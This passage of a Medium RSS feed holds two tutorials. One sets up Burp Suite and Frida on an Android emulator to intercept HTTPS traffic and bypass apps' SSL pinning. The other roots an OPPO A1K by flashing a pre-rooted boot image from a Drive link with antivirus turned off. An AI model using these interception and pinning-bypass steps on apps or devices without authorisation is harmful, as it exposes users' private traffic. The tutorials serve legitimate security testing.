Android Studio</h4><ul><li>Open your browser and go to the official Android Studio download page (<a href="https://developer.android.com/studio">https://developer.android.com/studio</a>).</li><li>Click on <strong>Download Android Studio</strong> and accept the terms &amp; conditions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uV5EAdKbtU8CTRjETbG6wQ.png" /></figure><h4>Step 2: Install Android Studio</h4><ol><li>Run the downloaded installer (.exe file).</li><li>Click <strong>Next</strong> repeatedly until you reach the installation folder selection.</li><li>Keep default settings and click <strong>Install</strong>.</li><li>Once installation is done, click <strong>Finish</strong> to launch Android Studio.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8_5qmC9iRzXqHslXTsEDsQ.png" /></figure><blockquote><strong><em>Android Studio requires the SDK tools before you can create an emulator.</em></strong></blockquote><h3>3. Installing Android SDK Platform Tools (ADB) &amp; Setting PATH</h3><p>ADB (Android Debug Bridge) is required for pushing files, starting Frida, and communicating with the Android emulator.​</p><h4>Step 1: Download platform‑tools</h4><ul><li>Open the official Android SDK Platform‑Tools download page:<br><a href="https://developer.android.com/tools/releases/platform-tools">https://developer.android.com/tools/releases/platform-toolsdeveloper.android​</a></li><li>Select the package for your operating system (Windows, macOS, or Linux) and download the ZIP file.</li><li>After the download completes</li><li>Example path:</li></ul><pre>C:\Android\platform-tools</pre><h4>Step 2: Add to PATH</h4><ol><li>Open <strong>Edit the system environment variables</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*PB68g80wS9-L9yxQOiiKuQ.png" /></figure><p>2. Click <strong>Environment Variables</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*g8Cwau3MKSKaLdt0qaAWJQ.png" /></figure><p>3. Under <em>System Variables</em>, choose <strong>Path</strong> → <strong>Edit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*nBDLqJYU3baAmDBH63PGCQ.png" /></figure><p>4. Click <strong>New</strong> → paste the platform-tools folder path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*U37-CwUTFMUmXVPWxT-MEA.png" /></figure><p>5. Click <strong>OK</strong></p><h4>Step 3: Verify ADB</h4><p>Open CMD:</p><pre>adb devices</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7gKIzGEkku84mhqOMcXdqw.png" /></figure><h3><strong>4. Install Virtual Device (AVD)</strong></h3><p>Once Android Studio and SDK components are installed, the next step is to create an <strong>Android Virtual Device (AVD)</strong>. This emulator will later be rooted and used for Burp Suite, Frida, and SSL-pinning bypass testing.</p><p><strong>Open Device Manager</strong></p><ol><li>Launch <strong>Android Studio</strong>.</li><li>On the right-side toolbar (or top menu), click <strong>Device Manager</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7bUgFigIe5tL3yPFJauroA.png" /></figure><p>3. The Device Manager window will open, showing existing devices (if any).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*jeokakEqQo3eCBxiovGvnA.png" /></figure><h3>Click “Create Device”</h3><ol><li>Click the <strong>Create Device</strong> button in the top-left corner.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70PW-Cdtsk3bkAw6cmtf4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*ltWqidcGsbAqT_nOXJ7SHA.png" /></figure><p>2. A list of device categories will appear:</p><ul><li>Phone</li><li>Tablet</li><li>Wear OS</li><li>TV</li><li>Automotive</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VhuNdbwS36LNxJpaJEXvuw.png" /></figure><p>Choose <strong>Phone</strong> → select a model like <strong>Pixel 6</strong>, <strong>Pixel 5</strong>, or <strong>Pixel 4a</strong>.</p><h4>Choose a System Image</h4><p>Now select the Android version your emulator will run.</p><h4>Recommended:</h4><ul><li>Choose an <strong>x86_64</strong> system image</li><li>Prefer a <strong>Google APIs</strong> build</li><li>Android version 13 or 14 is ideal for modern app testing</li></ul><p>If the selected system image isn’t installed:</p><ol><li>Click <strong>Download</strong> next to the image.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NJfXFO4BBFUPDayrDhyO0A.png" /></figure><p>2. Wait for the download to complete.</p><p>3. Click <strong>Next</strong>.</p><h4>Launch the Emulator</h4><ol><li>Back in Device Manager, you’ll see your newly created AVD.</li><li>Click the <strong>Play ▶️ icon</strong> to start the emulator.</li><li>The emulator will boot like a real Android phone.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*KeGXSWMnyH0lrfKP5q4MSQ.png" /></figure><h3>5. Configuring Burp Suite as Proxy for Emulator</h3><p>To intercept all HTTP and HTTPS traffic from your Android emulator, Burp Suite needs to act as a <strong>proxy server</strong>.<br> Follow these steps to properly configure the emulator to send traffic through Burp.</p><h4>Step 1: Configure Burp Proxy Listener</h4><ol><li>Open <strong>Burp Suite</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aFVmrYSGvPZ4wX_QPF2Kow.png" /></figure><p>2. Go to <strong>Proxy → Options / Settings</strong> (depending on Burp version).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mqbY9V1vi1gtdO08uPb_NQ.png" /></figure><p>3. Under <strong>Proxy Listeners</strong>, click <strong>Add</strong> (or edit the existing listener).</p><ol><li>Configure the listener:</li></ol><ul><li><strong>Bind to address:</strong> <em>All interfaces</em></li><li><strong>Port:</strong> <em>8081</em> (or any free port)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*uE7VToWXJLnbqvrivCgcUg.png" /></figure><h4>Step 2: Find Your Host Machine IP</h4><p>Your emulator will need your computer’s IP address to connect to Burp.</p><p>On Windows:</p><ol><li>Press <strong>Windows + R</strong>, type cmd, press <strong>Enter</strong>.</li><li>Run:</li></ol><pre>ipconfig</pre><p>3. Under your Wi-Fi/Ethernet adapter, note the <strong>IPv4 Address</strong><br> Example: 192.168.1.5</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*yyXWbjx7_zdptaUXTy1XuQ.png" /></figure><h4>Step 3: Configure Proxy on Android Emulator</h4><ol><li>Open the <strong>Android Emulator</strong>.</li><li>Open <strong>Wi-Fi settings</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*Oxtna17FYeVMeIah1ztRUw.png" /></figure><ol><li>Long-press the connected network → <strong>Modify Network</strong>.</li><li>Scroll down → <strong>Advanced options</strong>.</li><li>Set:</li></ol><ul><li><strong>Proxy:</strong> Manual</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*bKCM3IEhdNg0_vyVCXLkwg.png" /></figure><ul><li><strong>Proxy hostname:</strong> <em>your laptop IP</em></li><li><strong>Proxy port:</strong> 8081</li></ul><ol><li>Save the settings.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*Tnue79buVl0isyBv3b-1VA.png" /></figure><h3>6. Installing the Burp CA Certificate on the Emulator</h3><p>To decrypt HTTPS traffic, the Burp CA certificate must be trusted by the emulator.</p><h4>Step 1: Export Burp CA Certificate</h4><ol><li>Open Burp → go to <strong>Proxy → CA Certificate</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XcIokwklMBy1MtSSu6QIow.png" /></figure><p>Click Import/ <strong>Export</strong>.</p><ol><li>Select <strong>DER format</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*r2YBcqbM7yGN1SlIOWhWRg.png" /></figure><p>2. Save the file as cacert.crt</p><h3>📌 Important Note: .der vs .crt Certificate Format in Android</h3><p>When exporting the Burp Suite CA certificate, Burp provides it in <strong>DER format</strong>, which saves the file as:</p><pre>cacert.der</pre><p>This format works perfectly for installing the certificate through the <strong>Android settings</strong> (Security → Install Certificate).<br> However, when working with <strong>rooted devices, Frida, or system-wide certificate installation</strong>, you may need to <strong>rename the certificate to a </strong><strong>.crt extension</strong>, because many Android system components expect certificates using the <strong>.crt</strong> format inside trusted directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*kYq5uhGkLGAE1rVhTMTfhw.png" /></figure><h4>Step 3: Move the Certificate to the Emulator</h4><p>You can use either drag-and-drop or ADB:</p><h4>Option 1: Drag &amp; drop</h4><p>Drop cacert.crt directly onto the emulator window.</p><h4><strong>Option 2: Using ADB</strong></h4><pre>adb push cacert.crt /sdcard/</pre><h4>Step 4: Install the Certificate</h4><h4>On the emulator:</h4><ol><li>Open <strong>Advanced Settings </strong>or <strong>Security &amp; privacy</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*ekGZSxEEntSQLcLBYDgUpg.png" /></figure><p>2. Tap <strong>Encryption &amp; credentials</strong>.</p><p>3. Choose <strong>Install a certificate</strong> → <em>From SD card / storage</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*KZ91QlLUx7wB6_FalxIuOw.png" /></figure><p>4. Select cacert.crt.</p><p>5. Confirm installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kSEvs448tSv-fH45DcJvlw.png" /></figure><h3>7. Pushing Burp CA &amp; Frida Server to the Emulator Using ADB</h3><p>To bypass SSL pinning inside Android apps, we need both <strong>Frida Server</strong> (running on the emulator) and the <strong>Burp CA certificate</strong> stored in a location where Frida scripts can access it.<br> This section covers how to transfer these files to the emulator using ADB.</p><blockquote><strong>🔧 Step-by-Step Guide<br>Step 1: Download the Correct Frida Server Build</strong></blockquote><ol><li>Visit the official Frida releases page (<a href="https://github.com/frida/frida/releases">https://github.com/frida/frida/releases</a>).</li><li>Identify your emulator’s CPU architecture.</li></ol><p>3. On the device/emulator, run one of these in a terminal or via adb shell:​</p><ul><li>getprop ro.product.cpu.abi</li><li>getprop ro.product.cpu.abilist</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*IjpU6KdfUZgnYYz7DF2hrw.png" /></figure><ul><li>Most Android Studio emulators use: <strong>arm64-v8a / arm64</strong></li></ul><p>4. Download the matching Frida server binary.</p><h4>Example Filename:</h4><pre>frida-server-16.x.x-android-arm64</pre><p>5. Extract the file and rename it to a simpler name if needed:</p><pre>frida-server</pre><h4>Step 2: Push Frida Server &amp; Burp CA Certificate to Emulator</h4><p>Use ADB to copy both files to /data/local/tmp (a common writable directory).</p><h4>Commands:</h4><pre>adb push frida-server /data/local/tmp/<br>adb push cacert.der /data/local/tmp/cert-der.crt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YYL7iuOSgmUfgFVoPyDlyw.png" /></figure><blockquote>📌 Note on Certificate Format</blockquote><ul><li>Burp exports the certificate as .der</li><li>For Frida-based SSL pinning bypass, rename it to <strong>.crt</strong></li></ul><h3>8. Starting Frida Server &amp; Bypassing Android SSL Pinning</h3><p>After pushing the Frida server and Burp CA certificate to the emulator, the next step is to <strong>start the Frida server</strong>, verify it’s running, and use it for <strong>SSL Pinning bypass</strong>.</p><h3>🔌 Start Frida Server on the Emulator</h3><p>Once the Frida server binary is pushed into:</p><pre>/data/local/tmp</pre><p>follow these steps.</p><h3>Step 1: Navigate to the Frida Server Directory</h3><pre>adb shell<br>cd /data/local/tmp</pre><p>If rooted:</p><pre>su</pre><h3>Step 2: Start the Frida Server on the path cd /data/local/tmp</h3><pre>./frida-server &amp;</pre><p>The &amp; runs it in the background.</p><h3>Step 3: Verify the Server is Running</h3><pre>ps -A | grep frida</pre><p>If you see a process with name <strong>frida-server</strong>, it’s successfully running.</p><h3>💻 Accessing Frida from Kali Linux</h3><p>Before connecting remotely, ensure you have <strong>frida-tools installed</strong> on Kali Linux:</p><pre>sudo apt install python3-pip<br>pip3 install frida-tools</pre><h3>Check Running Processes on the Emulator</h3><p>Two ways:</p><h4>Method 1: Using Frida</h4><pre>frida-ps -U</pre><p>Shows device-side running apps and process IDs.</p><h4>Method 2: Using ADB</h4><pre>adb shell ps</pre><p>Both help identify the <strong>package name</strong> for SSL pinning bypass.</p><h4>🔒 Why We Do This? — SSL Pinning Bypass</h4><p>Many Android apps use SSL Pinning to block traffic interception by Burp Suite.<br> Frida lets us <strong>dynamically hook SSL functions</strong> and disable pinning at runtime.</p><p>To do this, we use a ready-made Frida script.</p><h4>📥 Download SSL Pinning Bypass Script</h4><p>Use the popular universal bypass script from Frida Codeshare:</p><p><strong>URL:</strong><br> <a href="https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/">https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/</a></p><p>Download and save it on your Kali machine as:</p><pre>frida.js</pre><h4>▶️ Run Frida with SSL Pinning Bypass</h4><p>Two methods:</p><h4>Method 1: Run Local Script</h4><pre>frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f &quot;com.example.app&quot; -U </pre><p><strong>Explanation:</strong></p><ul><li>-u → USB or remote device</li><li>-f → Spawn application</li><li>-l frida.js → Load SSL bypass script</li><li>--no-pause → Start app immediately</li></ul><h3>Method2: Run Directly from Codeshare</h3><pre>frida --codeshare akabe1/frida-multiple-unpinning -f &quot;com.example.app&quot; -U</pre><p>This automatically pulls a multi-bypass script from Codeshare.</p><h3>⚠️ Troubleshooting: ADB Connection Refused Error (Kali ↔ Emulator)</h3><p>Sometimes, when connecting to the Android emulator from <strong>Kali Linux</strong> using ADB over TCP, you may face the following error:</p><pre>adb connect 192.168.29.100:5555<br>failed to connect to &#39;192.168.29.100:5555&#39;: Connection refused</pre><p>This usually happens when <strong>ADB over TCP is not enabled</strong> on the emulator or the ADB daemon is not listening on port <strong>5555</strong>.</p><h3>✅ Solution: Enable ADB over TCP from Emulator Shell</h3><p>In this case, you can manually enable ADB TCP mode directly from the emulator.</p><h3>Run the Following Commands on the Emulator</h3><pre>adb shell<br>su<br>setprop service.adb.tcp.port 5555<br>stop adbd<br>start adbd</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ceb006f83aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Root OPPO A1K (CPH1923) Safely — Complete Beginner’s Guide]]></title>
            <link>https://medium.com/@ashishinkar/how-to-root-oppo-a1k-cph1923-safely-complete-beginners-guide-7693f1872baf?source=rss-5d5e7c643d6b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7693f1872baf</guid>
            <dc:creator><![CDATA[Ashish inkar]]></dc:creator>
            <pubDate>Sun, 02 Nov 2025 18:52:38 GMT</pubDate>
            <atom:updated>2025-11-02T18:52:38.234Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to Root OPPO A1K (CPH1923) Safely — Complete Beginner’s Guide</h3><p>Rooting a phone means gaining administrator-level access to its operating system. It allows users to change system files, uninstall pre-installed apps, and explore how Android works under the hood.</p><p>But before you even think about it, there are important precautions, responsibilities, and risks to understand.</p><h4>📦 <strong>Step 1: Always Use a Test or Secondary Phone</strong></h4><p>If you’re exploring Android security or software testing, never start with your primary phone. Use an <strong>old or unused device</strong> — like an older so i am using OPPO A1K — so that if something goes wrong, you won’t lose important data.</p><p>Before you do anything experimental:</p><ol><li>Back up all your photos, contacts, and app data.</li><li>Ensure the device is fully charged.</li><li>Keep copies of the original system firmware in case you need to restore it.</li></ol><p>⚙️ <strong>Why Do People Root Their Phones?</strong></p><p>Rooting can give deeper control of the Android system. Enthusiasts or researchers might:</p><blockquote><em>Study how Android security layers work</em></blockquote><blockquote><em>Remove unwanted manufacturer apps</em></blockquote><blockquote><em>Test how malware behaves in a secure lab environment</em></blockquote><blockquote><em>Customize the operating system for performance or privacy</em></blockquote><p>For security learners, rooting can be an opportunity to understand <strong>system permissions, sandboxing, and privilege escalation</strong> — concepts at the heart of Android cybersecurity.</p><h3>⚠️ Warnings and Precautions</h3><p>Rooting is <strong>not a casual experiment</strong>. It can cause:</p><ul><li><strong>Loss of warranty</strong> and official support</li><li><strong>Data loss</strong> if the process fails</li><li><strong>Bootloop or bricking</strong>, where the phone no longer turns on</li><li><strong>Security vulnerabilities</strong>, leaving the phone open to malware</li></ul><p>That’s why professionals perform these experiments only on isolated devices, disconnected from personal accounts or networks.Rooting is especially popular for software testers, ethical hackers, and mobile developers looking to test security controls, vulnerabilities, or app behaviors in a lab environment.</p><h3>Stepwise Rooting Tutorial for Oppo A1k (CPH1923)</h3><p>This step-by-step guide walks you from backup through rooting and verification. All preparation files are in this Google Drive folder: <a href="https://drive.google.com/drive/folders/1xdq27BCVPSkc5lsL6dDJWkDFDcNEmUhj">https://drive.google.com/drive/folders/1xdq27BCVPSkc5lsL6dDJWkDFDcNEmUhj</a></p><h3>Preparation</h3><p>Download and extract these essentials:</p><ul><li>Magisk APK — for rooting</li><li>Root Checker APK — to verify root status</li><li>ADB setup utility</li><li>MTK (MediaTek) driver</li><li>Oppo USB driver</li><li>MTK client</li><li>SP Flash Tool</li><li>OPPO A1k Firmware Android 9_MT6765_CPH1923EX_11_A.38_Scatter (preferably tested version)</li><li>Pre-rooted boot image (“boot root”)</li></ul><h3>Device Setup</h3><ul><li>Install Magisk and Root Checker APKs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*wkMM0Sy3pV4KOCNiCI67GQ.png" /></figure><ul><li>Confirm Magisk installation success (device not yet rooted).</li><li>Run Root Checker — will show “Sorry” until rooting is complete.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*qhYy7ERKX-Li1uLmithaUg.png" /></figure><ul><li>Ensure bootloader is unlocked via developer settings:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*ddKefVY5OhKqnfzMrNbYAQ.png" /></figure><ul><li>Tap build number 8 times to enable developer mode.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*vj39MakeAHwv266A0M95cQ.png" /></figure><ul><li>Check OEM unlock status (should be grayed out if UBL is enabled).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*ddKefVY5OhKqnfzMrNbYAQ.png" /></figure><ul><li>Reboot to see UBL confirmation message; otherwise, follow the bootloader unlock guide.</li></ul><h3>Driver Installation on PC</h3><ul><li>Disable all antivirus programs on your PC before proceeding.</li><li>Extract and install:</li><li>MTK driver</li><li>Oppo USB driver</li><li>ADB setup (run executable, respond “y” to prompts; retry if stuck)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cQxnt5txoutZJ7qn1klR9Q.png" /></figure><ul><li>Install the Device Driver installation Wizard Click on Next and then finish</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*NZUWmd62CPw1snwh8WXmUw.png" /></figure><ul><li>Extract downloaded firmware and boot root files.</li></ul><h3>MTK client Utility Setup</h3><ul><li>Extract and install MTK client.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*sA0diE3EGnqF9bIq4enqsg.png" /></figure><ul><li>Click on USBDk_1.0.22x64 install Client on system</li><li>Click “Bypass” and follow prompts.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*MgaCOIAMmSOP1-mLcjU-mA.png" /></figure><ul><li>When asked, type “3” and confirm with “y.”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HcBu8CoJfo5so1bm6Tj8GA.png" /></figure><ul><li>Connect powered-on phone to laptop.</li><li>Do you want to continue? (y/N) click on Y</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QuezJDLsYISFvXulRGjKyw.png" /></figure><ul><li>Before powering off your mobile, connect the original or reliable USB cable from your phone to the laptop or PC. Avoid using cheap or faulty cables, as connection failure can cause issues during the flashing process.</li><li>Once connected and the device is still powered ON, ensure any drivers (such as MTK and Oppo USB drivers) are already installed on your PC.</li><li>Fully power off the phone.</li><li>Press and hold both the “Volume Up” and “Volume Down” buttons — do not release these buttons yet.</li><li>While holding the volume buttons, power up the phone by plugging in the USB cable if not already connected, keeping both buttons pressed until the flashing tool (such as SP Flash Tool or PLTools) detects the device.</li><li>You should see a notification or prompt in your flashing tool that says something similar to “PLTools — Successfully sent payload. Do you want to continue?” Only release the volume buttons when this connection or payload message is displayed. Continuing at this point means your device is ready for the next stage of the root or firmware flashing process.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Koog8Miiqf-D1_yjVF0P-w.png" /></figure><h3>Step-by-step Replacement Procedure</h3><ul><li>Identify your stock firmware folder, e.g., “OPPO A1k Firmware Android 9_MT6765_CPH1923EX_11_A.38_Scatter”.</li><li>Obtain the boot.img provided in the boot_root archive (downloaded from Drive).</li><li>Copy the boot.img from the boot_root source.</li><li>Paste it into the stock firmware directory and overwrite (replace) the existing boot.img.</li><li>Confirm any replacement prompt (“Do you want to replace…”) and proceed.</li></ul><h3>SP Flash Tool Process</h3><ul><li>Ensure antivirus is OFF.</li><li>Extract and start SP Flash Tool.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0JX1fe-7DvDMaVpmuMZeAA.png" /></figure><ul><li>Click On Flash_Tool</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eiXseNmEexi-1JyN9Y2Lcg.png" /></figure><p>Before starting the SP Flash Tool process for rooting your Oppo A1k, it’s crucial to replace the original boot.img in the firmware directory with the patched (rooted) boot.img file you obtained from “boot_root” (Safefileku).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*2kiDDjEzrn44XUp3ZRFvug.png" /></figure><ul><li>Load “scatter-loading File” file from firmware folder. MT6765_Andriod_Scatter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*DrisYR5V11qFgjd7IxLlpg.png" /></figure><ul><li>Go to Options and uncheck all three defaults.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*5ctIGnxvUeL_0b_HQ4s5PA.png" /></figure><ul><li>Click “Download” to start flashing.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*LZrQEzWbnsAGR_cORy2BLQ.png" /></figure><ul><li>Wait for “Download OK” confirmation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*UM8L2Bem0HjSqjyuywoWyQ.png" /></figure><h3>Final Steps on Device</h3><ul><li>Unplug device (won’t auto-reboot).</li><li>Power on manually (first boot will take longer).</li><li>Dial *#813# in emergency call field to skip forced setup.</li></ul><h3>Verify Root</h3><ul><li>If Magisk disappeared, copy it back from PC.</li><li>Install and open Magisk APK — look for “Uninstall Magisk” option.</li><li>Run Root Checker app — look for a green “Congratulations” root message.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*t194G7NUl7nTLWRW90dP0A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7693f1872baf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>